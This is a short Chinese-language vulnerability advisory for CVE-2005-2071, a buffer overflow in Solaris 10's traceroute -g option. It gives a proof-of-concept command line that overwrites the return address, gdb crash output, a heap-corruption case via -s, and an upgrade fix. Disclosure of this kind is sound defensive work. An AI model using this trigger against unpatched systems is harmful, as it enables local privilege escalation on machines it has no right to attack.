CVE:CVE-2005-2071
CNNVD:CNNVD-200506-238
Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
Solaris 10的/usr/sbin/traceroute在处理-g参数时存在缓冲区溢出，本地攻击者可能利用此漏洞提升自己在系统中的权限。
提供-g参数后，IP地址参数会覆盖返回地址：
atari:root:/home/venglin# /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g
7 -g 8 -g 9 -g 10 127.0.0.1
traceroute: too many IPv4 gateways
traceroute: unknown IPv4 host 1
traceroute to 127.0.0.1 (127.0.0.1)， 30 hops max， 88 byte packets
Segmentation fault (core dumped)
atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7
-g 8 -g 9 -g 10 127.0.0'.
Program terminated with signal 11， Segmentation fault.
[...]
#0 0x0100007f in ?? ()
0x0100007f是127.0.0.1。
攻击者可以利用这个漏洞运行任意代码。但由于使用__init_suid_priv()，因此漏洞影响仅限于原始套接字访问。
此外畸形的-s参数还可能导致堆破坏：
atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
#0 0xfee7178d in _free_unlocked ()
 from /lib/libc.so.1
(gdb) bt
#0 0xfee7178d in _free_unlocked () from /lib/libc.so.1
#1 0xfee71752 in free () from /lib/libc.so.1
#2 0xfefa49a6 in freeaddrinfo () from /lib/libsocket.so.1
#3 0x08052a7a in main ()
solution:Upgrade sun solaris to a higher version than 10.0,and avoid the version 10.0